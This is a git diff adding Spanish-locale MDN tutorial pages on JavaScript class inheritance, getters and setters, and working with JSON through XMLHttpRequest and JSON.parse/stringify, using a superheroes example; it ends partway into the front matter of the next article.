+<h3 id="Inheritance_with_class_syntax">Inheritance with class syntax</h3>
+
+<p>Above we created a class to represent a person. They have a series of attributes that are common to all people; in this section we'll create our specialized <code>Teacher</code> class, making it inherit from <code>Person</code> using modern class syntax. This is called creating a subclass or subclassing.</p>
+
+<p>To create a subclass we use the <a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends keyword</a> to tell JavaScript the class we want to base our class on.</p>
+
+<pre class="brush: js notranslate">class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    this.name = {
+      first,
+      last
+    };
+
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  // subject and grade are specific to Teacher
+  this.subject = subject;
+  this.grade = grade;
+  }
+}</pre>
+
+<p>We can make the code more readable by defining the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super"><code>super()</code> operator</a> as the first item inside the <code>constructor()</code>. This will call the parent class' constructor, and inherit the members we specify as parameters of <code>super()</code>, as long as they are defined there:</p>
+
+<pre class="brush: js notranslate">class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+
+    // subject and grade are specific to Teacher
+    this.subject = subject;
+    this.grade = grade;
+  }
+}
+</pre>
+
+<p>When we instantiate <code>Teacher</code> object instances, we can now call methods and properties defined on both <code>Teacher</code> and <code>Person</code>, as we'd expect:</p>
+
+<pre class="brush: js notranslate">let snape = new Teacher('Severus', 'Snape', 58, 'male', ['Potions'], 'Dark arts', 5);
+snape.greeting(); // Hi! I'm Severus.
+snape.farewell(); // Severus has left the building. Bye for now.
+snape.age // 58
+snape.subject; // Dark arts
+</pre>
+
+<p>Like we did with Teachers, we could create other subclasses of <code>Person</code> to make them more specialized without modifying the base class.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-class-inheritance.html">es2015-class-inheritance.html</a> (<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-class-inheritance.html">see it live also</a>).</p>
+</div>
+
+<h2 id="Getters_and_Setters">Getters and Setters</h2>
+
+<p>There may be times when we want to change the values of an attribute in the classes we create or we don't know what the final value of an attribute will be. Using the <code>Teacher</code> example, we may not know what subject the teacher will teach before we create them, or their subject may change between terms.</p>
+
+<p>We can handle such situations with getters and setters.</p>
+
+<p>Let's enhance the Teacher class with getters and setters. The class starts the same as it was the last time we looked at it.</p>
+
+<p>Getters and setters work in pairs. A getter returns the current value of the variable and its corresponding setter changes the value of the variable to the one it defines.</p>
+
+<p>The modified <code>Teacher</code> class looks like this:</p>
+
+<pre class="brush: js notranslate">class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+    // subject and grade are specific to Teacher
+    this._subject = subject;
+    this.grade = grade;
+  }
+
+  get subject() {
+    return this._subject;
+  }
+
+  set subject(newSubject) {
+    this._subject = newSubject;
+  }
+}
+</pre>
+
+<p>In our class above we have a getter and setter for the <code>subject</code> property. We use <strong><code>_</code> </strong> to create a separate value in which to store our name property. Without using this convention, we would get errors every time we called get or set. At this point:</p>
+
+<ul>
+ <li>To show the current value of the <code>_subject</code> property of the <code>snape</code> object we can use the <code>snape.subject</code> getter method.</li>
+ <li>To assign a new value to the <code>_subject</code> property we can use the <code>snape.subject="new value"</code> setter method.</li>
+</ul>
+
+<p>The example below shows the two features in action:</p>
+
+<pre class="brush: js notranslate">// Check the default value
+console.log(snape.subject) // Returns "Dark arts"
+
+// Change the value
+snape.subject="Balloon animals" // Sets _subject to "Balloon animals"
+
+// Check it again and see if it matches the new value
+console.log(snape.subject) // Returns "Balloon animals"
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/es2015-getters-setters.html">es2015-getters-setters.html</a> (<a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/es2015-getters-setters.html">see it live also</a>).</p>
+</div>
+
+<h2 id="When_would_you_use_inheritance_in_JavaScript">When would you use inheritance in JavaScript?</h2>
+
+<p>Particularly after this last article, you might be thinking "woo, this is complicated". Well, you are right. Prototypes and inheritance represent some of the most complex aspects of JavaScript, but a lot of JavaScript's power and flexibility comes from its object structure and inheritance, and it is worth understanding how it works.</p>
+
+<p>In a way, you use inheritance all the time. Whenever you use various features of a Web API , or methods/properties defined on a built-in browser object that you call on your strings, arrays, etc., you are implicitly using inheritance.</p>
+
+<p>In terms of using inheritance in your own code, you probably won't use it often, especially to begin with, and in small projects. It is a waste of time to use objects and inheritance just for the sake of it when you don't need them. But as your code bases get larger, you are more likely to find a need for it. If you find yourself starting to create a number of objects that have similar features, then creating a generic object type to contain all the shared functionality and inheriting those features in more specialized object types can be convenient and useful.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Because of the way JavaScript works, with the prototype chain, etc., the sharing of functionality between objects is often called <strong>delegation</strong>. Specialized objects delegate functionality to a generic object type.</p>
+</div>
+
+<p>When using inheritance, you are advised to not have too many levels of inheritance, and to keep careful track of where you define your methods and properties. It is possible to start writing code that temporarily modifies the prototypes of built-in browser objects, but you should not do this unless you have a really good reason. Too much inheritance can lead to endless confusion, and endless pain when you try to debug such code.</p>
+
+<p>Ultimately, objects are just another form of code reuse, like functions or loops, with their own specific roles and advantages. If you find yourself creating a bunch of related variables and functions and want to track them all together and package them neatly, an object is a good idea. Objects are also very useful when you want to pass a collection of data from one place to another. Both of these things can be achieved without use of constructors or inheritance. If you only need a single instance of an object, then you are probably better off just using an object literal, and you certainly don't need inheritance.</p>
+
+<h2 id="Alternativas_para_extender_la_cadena_del_prototipos">Alternativas para extender la cadena del prototipos</h2>
+
+<p>En JavaScript, hay varias maneras diferentes de extender el prototipo de un objeto aparte de lo que hemos mostrado anteriormente. Para saber más sobre las otras formas, visite nuestro artículo <a href="/es/docs/Web/JavaScript/Herencia_y_la_cadena_de_protipos">Herencia y la cadena de prototipos</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo ha cubierto el resto de la teoría y sintaxis central de OOJS que creemos que debería conocer ahora. En este punto debe entender los conceptos básicos de objetos JavaScript y POO, prototipos y herencia de prototipos, cómo crear clases (constructores) e instancias de objetos, añadir características a las clases y crear subclases que heredan de otras clases.</p>
+
+<p>En el siguiente artículo veremos cómo trabajar con JavaScript Object Notation (JSON), un formato común de intercambio de datos escrito con objetos JavaScript.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="http://www.objectplayground.com/">ObjectPlayground.com</a> — A really useful interactive learning site for learning about objects.</li>
+ <li><a href="https://www.amazon.com/gp/product/193398869X/">Secrets of the JavaScript Ninja</a>, Chapter 6 — A good book on advanced JavaScript concepts and techniques, by John Resig and Bear Bibeault. Chapter 6 covers aspects of prototypes and inheritance really well; you can probably track down a print or online copy fairly easily.</li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&amp;%20object%20prototypes/README.md#you-dont-know-js-this--object-prototypes">You Don't Know JS: this &amp; Object Prototypes</a> — Part of Kyle Simpson's excellent series of JavaScript manuals, Chapter 5 in particular looks at prototypes in much more detail than we do here. We've presented a simplified view in this series of articles aimed at beginners, whereas Kyle goes into great depth and provides a more complex but more accurate picture.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="En_éste_módulo">En éste módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/es/learn/javascript/objects/json/index.html b/files/es/learn/javascript/objects/json/index.html
new file mode 100644
index 0000000000..09009165cf
--- /dev/null
+++ b/files/es/learn/javascript/objects/json/index.html
@@ -0,0 +1,339 @@
+---
+title: Trabajando con JSON
+slug: Learn/JavaScript/Objects/JSON
+tags:
+  - Arreglos
+  - Artículo
+  - Guía
+  - JSON
+  - Objetos
+  - Parsing
+  - Principiante
+  - Stringifying
+  - Tutorial
+translation_of: Learn/JavaScript/Objects/JSON
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">JavaScript Object Notation (JSON) es un formato basado en texto estándar para representar datos estructurados en la sintaxis de objetos de JavaScript. Es comúnmente utilizado para transmitir datos en aplicaciones web (por ejemplo: enviar algunos datos desde el servidor al cliente, así estos datos pueden ser mostrados en páginas web, o vice versa). Se enfrentará a menudo con él, así que este artículo le entrega todo lo que necesita saber para trabajar con JSON utilizando JavaScript, incluyendo el análisis JSON para acceder a los datos en su interior, y cómo crear JSON.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Alfabetismo computacional básico, una comprensión básica de HTML y CSS, familiaridad con los temas básicos de JavaScript (vea <a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a> y <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a>) y OOJS básico (vea <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender cómo trabajar con datos almacenados en JSON, y crear objetos JSON propios.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_realmente_JSON">¿Qué es realmente JSON?</h2>
+
+<p>{{glossary("JSON")}} es un formato de datos basado en texto que sigue la sintaxis de objeto de JavaScript, popularizado por <a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a>. Aunque es muy parecido a la sintaxis de objeto literal de JavaScript, puede ser utilizado independientemente de JavaScript, y muchos entornos de programación poseen la capacidad de leer (convertir; <em>parsear</em>) y generar JSON.</p>
+
+<p>Los JSON son cadenas - útiles cuando se quiere transmitir datos a través de una red. Debe ser convertido a un objeto nativo de JavaScript cuando se requiera acceder a sus datos. Ésto no es un problema, dado que JavaScript posee un objeto global <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> que tiene los métodos disponibles para convertir entre ellos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Convertir una cadena a un objeto nativo se denomina <em>parsing</em>, mientras que convertir un objeto nativo a una cadena para que pueda ser transferido a través de la red se denomina <em>stringification</em>.</p>
+</div>
+
+<p>Un objeto JSON puede ser almacenado en su propio archivo, que es básicamente sólo un archivo de texto con una extension <code>.json</code>, y una {{glossary("MIME type")}} de <code>application/json</code>.</p>
+
+<h3 id="Estructura_del_JSON">Estructura del JSON</h3>
+
+<p>Como se describió previamente, un JSON es una cadena cuyo formato recuerda al de los objetos literales JavaScript. Es posible incluir los mismos tipos de datos básicos dentro de un JSON que en un objeto estándar de JavaScript - cadenas, números, arreglos, booleanos, y otros literales de objeto. Esto permite construir una jerarquía de datos, como ésta:</p>
+
+<pre class="brush: json">{
+  "squadName": "Super hero squad",
+  "homeTown": "Metro City",
+  "formed": 2016,
+  "secretBase": "Super tower",
+  "active": true,
+  "members": [
+    {
+      "name": "Molecule Man",
+      "age": 29,
+      "secretIdentity": "Dan Jukes",
+      "powers": [
+        "Radiation resistance",
+        "Turning tiny",
+        "Radiation blast"
+      ]
+    },
+    {
+      "name": "Madame Uppercut",
+      "age": 39,
+      "secretIdentity": "Jane Wilson",
+      "powers": [
+        "Million tonne punch",
+        "Damage resistance",
+        "Superhuman reflexes"
+      ]
+    },
+    {
+      "name": "Eternal Flame",
+      "age": 1000000,
+      "secretIdentity": "Unknown",
+      "powers": [
+        "Immortality",
+        "Heat Immunity",
+        "Inferno",
+        "Teleportation",
+        "Interdimensional travel"
+      ]
+    }
+  ]
+}</pre>
+
+<p>Si se carga este objeto en un programa de JavaScript, convertido (<em>parseado</em>) en una variable llamada <code>superHeroes</code> por ejemplo, se podría acceder a los datos que contiene utilizando la misma notación de punto/corchete que se revisó en el artículo <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>. Por ejemplo:</p>
+
+<pre class="brush: js">superHeroes.homeTown
+superHeroes['active']</pre>
+
+<p>Para acceder a los datos que se encuentran más abajo en la jerarquía, simplemente se debe concatenar los nombres de las propiedades y los índices de arreglo requeridos. Por ejemplo, para acceder al tercer superpoder del segundo héroe registrado en la lista de miembros, se debería hacer esto: </p>
+
+<pre class="brush: js">superHeroes['members'][1]['powers'][2]</pre>
+
+<ol>
+ <li>Primero el nombre de la variable — <code>superHeroes</code>.</li>
+ <li>Dentro de esta variable para acceder a la propiedad <code>members</code> utilizamos <code>["members"]</code>.</li>
+ <li><code>members</code> contiene un arreglo poblado por objetos. Para acceder al segundo objeto dentro de este arreglo se utiliza <code>[1]</code>.</li>
+ <li>Dentro de este objeto, para acceder a la propiedad <code>powers</code> utilizamos <code>["powers"]</code>.</li>
+ <li>Dentro de la propiedad <code>powers</code> existe un arreglo que contiene los superpoderes del héroe seleccionado. Para acceder al tercer superpoder se utiliza <code>[2]</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: El JSON previamente visto se encuentra disponible dentro de una variable en el ejemplo <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONTest.html</a> (vea el <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">código fuente</a>). Intente cargarlo y luego acceder a los datos contenidos en la variable por medio de la consola JavaScript de su navegador.</p>
+</div>
+
+<h3 id="Arreglos_como_JSON">Arreglos como JSON</h3>
+
+<p>Anteriormente se mencionó que el texto JSON básicamente se parece a un objeto JavaScript, y esto es en gran parte cierto. La razón de esto es que un arreglo es también un JSON válido, por ejemplo:</p>
+
+<pre class="brush: json">[
+  {
+    "name": "Molecule Man",
+    "age": 29,
+    "secretIdentity": "Dan Jukes",
+    "powers": [
+      "Radiation resistance",
+      "Turning tiny",
+      "Radiation blast"
+    ]
+  },
+  {
+    "name": "Madame Uppercut",
+    "age": 39,
+    "secretIdentity": "Jane Wilson",
+    "powers": [
+      "Million tonne punch",
+      "Damage resistance",
+      "Superhuman reflexes"
+    ]
+  }
+]</pre>
+
+<p>Éste es un JSON perfectamente válido. Para acceder a esta version convertida se debe comenzar con un índice de arreglo, por ejemplo<code>[0]["powers"][0]</code>.</p>
+
+<h3 id="Otras_notas">Otras notas</h3>
+
+<ul>
+ <li>JSON es sólo un formato de datos — contiene sólo propiedades, no métodos.</li>
+ <li>JSON requiere usar comillas dobles para las cadenas y los nombres de propiedades. Las comillas simples no son válidas.</li>
+ <li>Una coma o dos puntos mal ubicados pueden producir que un archivo JSON no funcione. Se debe ser cuidadoso para validar cualquier dato que se quiera utilizar (aunque los JSON generados por computador tienen menos probabilidades de tener errores, mientras el programa generador trabaje adecuadamente). Es posible validar JSON utilizando una aplicación como <a href="http://jsonlint.com/">JSONLint</a>.</li>
+ <li>JSON puede tomar la forma de cualquier tipo de datos que sea válido para ser incluido en un JSON, no sólo arreglos u objetos. Así, por ejemplo, una cadena o un número único podrían ser objetos JSON válidos.</li>
+ <li>A diferencia del código JavaScript en que las propiedades del objeto pueden no estar entre comillas, en JSON, sólo las cadenas entre comillas pueden ser utilizadas como propiedades.</li>
+</ul>
+
+<h2 id="Aprendizaje_activo_Trabajando_a_través_de_un_ejemplo_de_JSON">Aprendizaje activo: Trabajando a través de un ejemplo de JSON</h2>
+
+<p>A continuación se muestra un ejemplo de cómo podemos utilizar algunos datos JSON en un sitio web.</p>
+
+<h3 id="Para_comenzar">Para comenzar</h3>
+
+<p>Haga una copia local de los archivos <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a>. El último contiene un CSS simple para dar estilo a la página, mientras el primero contiene un HTML muy sencillo:</p>
+
+<pre class="brush: html">&lt;header&gt;
+&lt;/header&gt;
+
+&lt;section&gt;
+&lt;/section&gt;</pre>
+
+<p>Además de un elemento {{HTMLElement("script")}} que contiene el código JavaScript que se escribirá en este ejercicio. En este momento sólo contiene dos líneas, que hacen referencia a los elementos {{HTMLElement("header")}} y {{HTMLElement("section")}} y los almacena en variables:</p>
+
+<pre class="brush: js">const header = document.querySelector('header');
+const section = document.querySelector('section');</pre>
+
+<p>Los datos JSON se encuentran disponibles en GitHub en el siguiente enlace: <a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a>.</p>
+
+<p>Los datos se cargarán en esta página y se desplegarán a través de la manipulación del DOM de esta forma:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13857/json-superheroes.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Obteniendo_el_JSON">Obteniendo el JSON</h3>
+
+<p>Para obtener el JSON se utilizará un API llamado {{domxref("XMLHttpRequest")}} (a menudo llamado <strong>XHR</strong>). Éste en un objeto JavaScript muy útil que permite realizar solicitudes de red para recuperar recursos desde un servidor vía JavaScript (por ejemplo: imágenes, texto, JSON, incluso código HTML), con lo que es posible actualizar pequeñas secciones de contenido sin tener que volver a cargar la página entera. Con ello se obtienen páginas web más interactivas, pero está fuera del alcance de este artículo entrar en detalle.</p>
+
+<ol>
+ <li>Para empezar, se debe almacenar la URL del JSON que se quiere recuperar en una variable. Agregue lo siguiente al final del código JavaScript:
+  <pre class="brush: js">const requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre>
+ </li>
+ <li>Para crear una solicitud, se necesita crear una nueva instancia de objeto de solicitud desde el constructor<code>XMLHttpRequest</code>, utilizando la palabra clave <code>new</code>. Agregue lo siguiente a continuación de la última línea:
+  <pre class="brush: js">const request = new XMLHttpRequest();</pre>
+ </li>
+ <li>Ahora es necesario abrir una nueva solicitud utilizando el método <code><a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a></code>. Agregue la siguiente línea:
+  <pre class="brush: js">request.open('GET', requestURL);</pre>
+
+  <p>Esto requiere al menos dos parámetros — Existen otros parámetros opcionales disponibles. Sólo se requieren los dos obligatorios para este ejemplo:</p>
+
+  <ul>
+   <li>El método HTTP a usar cuando se hace una solicitud en red. En este caso <code>GET</code> es adecuado, dado que sólo se estan recuperando algunos datos simples.</li>
+   <li>La URL a la que se realiza la solicitud — esta es la URL del archivo que se almacenó antes.</li>
+  </ul>
+ </li>
+ <li>Luego, agregue las siguientes dos lineas — establecemos el <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> a JSON, de esta forma ese XHR sabe que el servidor estará retornando JSON y que esto debería ser convertido en segundo plano en un objeto JavaScript. Entonces se envía la solicitud con el método <code><a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a></code>:
+  <pre class="brush: js">request.responseType = 'json';
+request.send();</pre>
+ </li>
+ <li>La última parte de esta sección comprende la espera por la respuesta a retornar desde el servidor y luego, manejarla. Agregue el siguiente código bajo el código previo:
+  <pre class="brush: js">request.onload = function() {
+  const superHeroes = request.response;
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+ </li>
+</ol>
+
+<p>En este punto se está almacenando la respuesta a la solicitud (disponible en la propiedad <code><a href="/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code>) en una variable llamada <code>superHeroes</code>; esta variable ahora contendrá el objeto JavaScript basado en el JSON. Luego se pasa el objeto como argumento a dos funciones — la primera llenará el &lt;<code>header&gt;</code> con los datos correctos, mientras la segunda creará una tarjeta de información para cada héroe en el equipo y la insertará en <code>&lt;section&gt;</code>.</p>
+
+<p>Se ha contenido el código en un manejador de eventos que se activa cuando se dispara el evento de carga (ver <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) — esto es porque el evento de carga se dispara cuando la respuesta ha sido retornada de forma exitosa; de esta manera se garantiza que <code>request.response</code> estará disponible cuando se intente hacer algo con ella.</p>
+
+<h3 id="Poblando_el_encabezado">Poblando el encabezado</h3>
+
+<p>Se han obtenido los datos desde el JSON y convertidos en un objeto de JavaScript. Ahora, se utilizarán estos datos escribiendo las dos funciones que fueron referenciadas previamente. Antes que todo, agregue la siguiente definición de función a continuación del código previo:</p>
+
+<pre class="brush: js">function populateHeader(jsonObj) {
+  const myH1 = document.createElement('h1');
+  myH1.textContent = jsonObj['squadName'];
+  header.appendChild(myH1);
+
+  const myPara = document.createElement('p');
+  myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed'];
+  header.appendChild(myPara);
+}</pre>
+
+<p>Se ha llamado al parámetro <code>jsonObj</code>, para recordar que este es un objeto JavaScript originado desde un JSON. Primero se crea un elemento {{HTMLElement("h1")}} con <code><a href="/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, se asigna su <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> igual a la propiedad <code>squadName</code> del objeto, luego se agrega al encabezado utilizando<code><a href="/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. A continuación se realiza una operación muy parecida en un párrafo: se crea, se asigna su contenido de texto y se agrega al encabezado. La única diferencia es que su texto se asigna a una cadena concatenada que contiene las propiedades <code>homeTown</code> y <code>formed</code> del objeto.</p>
+
+<h3 id="Creación_de_las_tarjetas_de_información_del_héroe">Creación de las tarjetas de información del héroe</h3>
+
+<p>Luego, agregue la siguiente función al final del código, que crea y muestra las tarjetas de los superhéroes:</p>
+
+<pre class="brush: js">function showHeroes(jsonObj) {
+  const heroes = jsonObj['members'];
+
+  for (var i = 0; i &lt; heroes.length; i++) {
+    const myArticle = document.createElement('article');
+    const myH2 = document.createElement('h2');
+    const myPara1 = document.createElement('p');
+    const myPara2 = document.createElement('p');
+    const myPara3 = document.createElement('p');
+    const myList = document.createElement('ul');
+
+    myH2.textContent = heroes[i].name;
+    myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity;
+    myPara2.textContent = 'Age: ' + heroes[i].age;
+    myPara3.textContent = 'Superpowers:';
+
+    const superPowers = heroes[i].powers;
+    for (var j = 0; j &lt; superPowers.length; j++) {
+      const listItem = document.createElement('li');
+      listItem.textContent = superPowers[j];
+      myList.appendChild(listItem);
+    }
+
+    myArticle.appendChild(myH2);
+    myArticle.appendChild(myPara1);
+    myArticle.appendChild(myPara2);
+    myArticle.appendChild(myPara3);
+    myArticle.appendChild(myList);
+
+    section.appendChild(myArticle);
+  }
+}</pre>
+
+<p>Para empezar, se almacena la propiedad <code>members</code> del objeto JavaScript en una nueva variable. Este arreglo contiene múltiples objetos que contienen la información para cada héroe.</p>
+
+<p>A continuación, se utiliza un ciclo <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for</a> para recorrer cada objeto en el arreglo. Para cada uno:</p>
+
+<ol>
+ <li>Se crean varios elementos nuevos: un<code>&lt;article&gt;</code>, un <code>&lt;h2&gt;</code>, tres <code>&lt;p&gt;</code>s, y una <code>&lt;ul&gt;</code>.</li>
+ <li>Se asigna al <code>&lt;h2&gt;</code> para que muestre el <code>name</code> del héroe.</li>
+ <li>Se completan los tres párrafos con su <code>secretIdentity</code>, <code>age</code>, y una línea que diga "Superpowers:" para introducir la información de la lista.</li>
+ <li>Se almacena la propiedad <code>powers</code> en otra variable nueva llamada <code>superPowers</code> — que contiene un arreglo que lista los superpoderes del héroe actual.</li>
+ <li>Para recorrer los superpoderes del héroe, se utiliza otro ciclo <code>for</code>  — para cada uno se crea un elemento <code>&lt;li&gt;</code>, se asigna el superpoder a él y luego se pone el <code>listItem</code> dentro del elemento <code>&lt;ul&gt;</code>  (<code>myList</code>) utilizando <code>appendChild()</code>.</li>
+ <li>Lo último es agregar los <code>&lt;h2&gt;</code>, <code>&lt;p&gt;</code>s, y <code>&lt;ul&gt;</code> dentro del <code>&lt;article&gt;</code> (<code>myArticle</code>), luego se agrega <code>&lt;article&gt;</code> dentro de <code>&lt;section&gt;</code>. El orden en que las cosas son agregadas es importante, dado que este es el orden en el que aparecerán dentro del HTML.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tiene problemas en lograr que el ejemplo funcione, intente con el código fuente <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (vea también <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">running live</a>.)</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Si encuentra dificultades en seguir la notacion de punto/corchete que se utiliza para acceder a los objetos de JavaScript, puede ser útil tener el archivo <a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> abierto en otra pestaña o en su editor de texto, y revisarlo mientras observa el código JavaScript. También puede referirse al artículo <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a> para mayor información sobre la notación de punto y corchete.</p>
+</div>
+
+<h2 id="Conversiones_entre_objetos_y_texto">Conversiones entre objetos y texto</h2>
+
+<p>El ejemplo anterior era simple en términos de acceder al objeto JavaScript, porque se programó la solicitud XHR para convertir el JSON de respuesta directamente en un objeto de JavaScript utilizando:</p>
+
+<pre class="brush: js">request.responseType = 'json';</pre>
+
+<p>En algunas ocasiones, se recibirá una cadena JSON sin procesar, y será necesario convertirla en un objeto. Y cuando sea necesario enviar un objeto Javascript a través de la red, será necesario convertirlo a un JSON (una cadena) antes de ser enviado. Afortunadamente, estos dos problemas son muy comunes en el desarrollo web por lo que un objeto JSON integrado está disponible en los navegadores, que contiene los siguientes dos métodos:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: Acepta una cadena JSON como parámetro, y devuelve el objeto JavaScript correspondiente.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code>: Acepta un objeto como parámetro, y devuelve la forma de cadena JSON equivalente.</li>
+</ul>
+
+<p>El primer método se puede observar en el ejemplo <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a> (vea el <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">código fuente</a>) — que realiza exactamente lo mismo que el ejemplo que se construyó previamente, excepto porque se determinó que el XHR devolviera el texto JSON sin procesar, luego se utiliza <code>parse()</code> para convertirlo en un objeto JavaScript. El extracto del código es el siguiente:</p>
+
+<pre class="brush: js">request.open('GET', requestURL);
+request.responseType = 'text'; // recibimos una cadena de tipo "string"
+request.send();
+
+request.onload = function() {
+  const superHeroesText = request.response; // cogemos la cadena de response
+  const superHeroes = JSON.parse(superHeroesText); // la convertimos a objeto
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+
+<p>Como es de suponer, <code>stringify()</code> trabaja de la forma opuesta. Intente ingresar las siguientes líneas en la consola de JavaScript de su navegador para verlo en acción:</p>
+
+<pre class="brush: js">const myJSON = { "name": "Chris", "age": "38" };
+myJSON
+const myString = JSON.stringify(myJSON);
+myString</pre>
+
+<p>En este caso, se ha creado un objeto JavaScript, luego se comprueba lo que contiene, y entonces se convierte en una cadena JSON utilizando <code>stringify()</code> — guardando el valor retornado en una variable nueva  — y comprobándolo nuevamente.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo se ha entregado una guía simple para utilizar JSON en sus programas, incluyendo cómo crear y leer JSON, y cómo acceder a los datos almacenados en él. En el artículo siguiente se verá JavaScript orientado a objetos.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+ <li><a href="http://json.org">Official JSON web site with link to ECMA standard</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p>
diff --git a/files/es/learn/javascript/objects/object-oriented_js/index.html b/files/es/learn/javascript/objects/object-oriented_js/index.html
new file mode 100644
index 0000000000..5eb023c685
--- /dev/null
+++ b/files/es/learn/javascript/objects/object-oriented_js/index.html
@@ -0,0 +1,307 @@
+---
+title: JavaScript orientado a objetos para principiantes
+slug: Learn/JavaScript/Objects/Object-oriented_JS
+tags:
+  - Aprender
+  - Artículo
+  - Constructor
+  - Crear
+  - Create
+  - JSOO
+  - JavaScript
+  - OOJS
+  - OOP
+  - Object
+  - Objeto
+  - Orientado a Objeto
+  - Principiante
+  - Programación orientada a objetos
+  - instance
+  - instanciar
+  - 'l10n:priority'
